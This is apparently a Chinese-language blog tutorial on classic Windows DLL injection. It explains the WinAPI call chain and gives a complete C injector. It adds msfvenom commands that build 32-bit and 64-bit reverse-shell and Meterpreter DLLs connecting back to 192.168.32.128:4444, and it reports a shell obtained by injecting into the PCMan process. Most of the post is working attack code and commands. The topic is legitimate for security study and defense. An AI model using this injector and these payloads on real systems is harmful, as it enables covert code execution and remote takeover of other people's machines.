dll injection

經典dll injection,使用幾個WinAPI的組合

  • OpenProcess取得remote process HANDLE
  • VirtualAllocEx在remote process上申請空間
  • WriteProcessMemory寫入要注入的dll路徑
  • GetProcAddress取得LoadLibraryW的地址,這步要確認一下當前的kernel32.dll載入到當前(dll injector.exe)的process跟載入到remote process的virtual address是不是相同,必須要相同,否則當前process的LoadLibraryW的address就不會是remote process中LoadLibraryW的address
  • CreateRemoteThread讓remote process新建thread去執行LoadLibraryW注入dll
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <Windows.h>

int main(int argc, char* argv[]) {

HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("D:\\test\\rshell.dll");

printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle);

return 0;
}

用msfvenom製作dll,放到D:\test\下

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.32.128 LPORT=4444 -f dll > rshell.dll

如果要注入的remote process是32bit的,那就製作32bit的dll,injector也編譯成x86。
如果要注入的remote process是64bit,那就用64bit的dll,injector也編譯成x64,用msfvenom製作64bit的dll。

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.32.128 LPORT=4444 -f dll > rshell64.dll

可以看到32bit process的kernel32的address和其路徑C:\Windows\SysWOW64\kernel32.dll
32-bit kernel32

如果injector編譯成x86,其kernl32也會是這個address和路徑
但如果是x64,會變成C:\Windows\System32\kernel32.dll

注入成功後,可以看到PCMan有載入rshell.dll,而且有spawn出cmd
注入PCMan

並且成功獲取shell
rshell

參考資料
https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection
https://www.apriorit.com/dev-blog/679-windows-dll-injection-for-api-hooks
https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process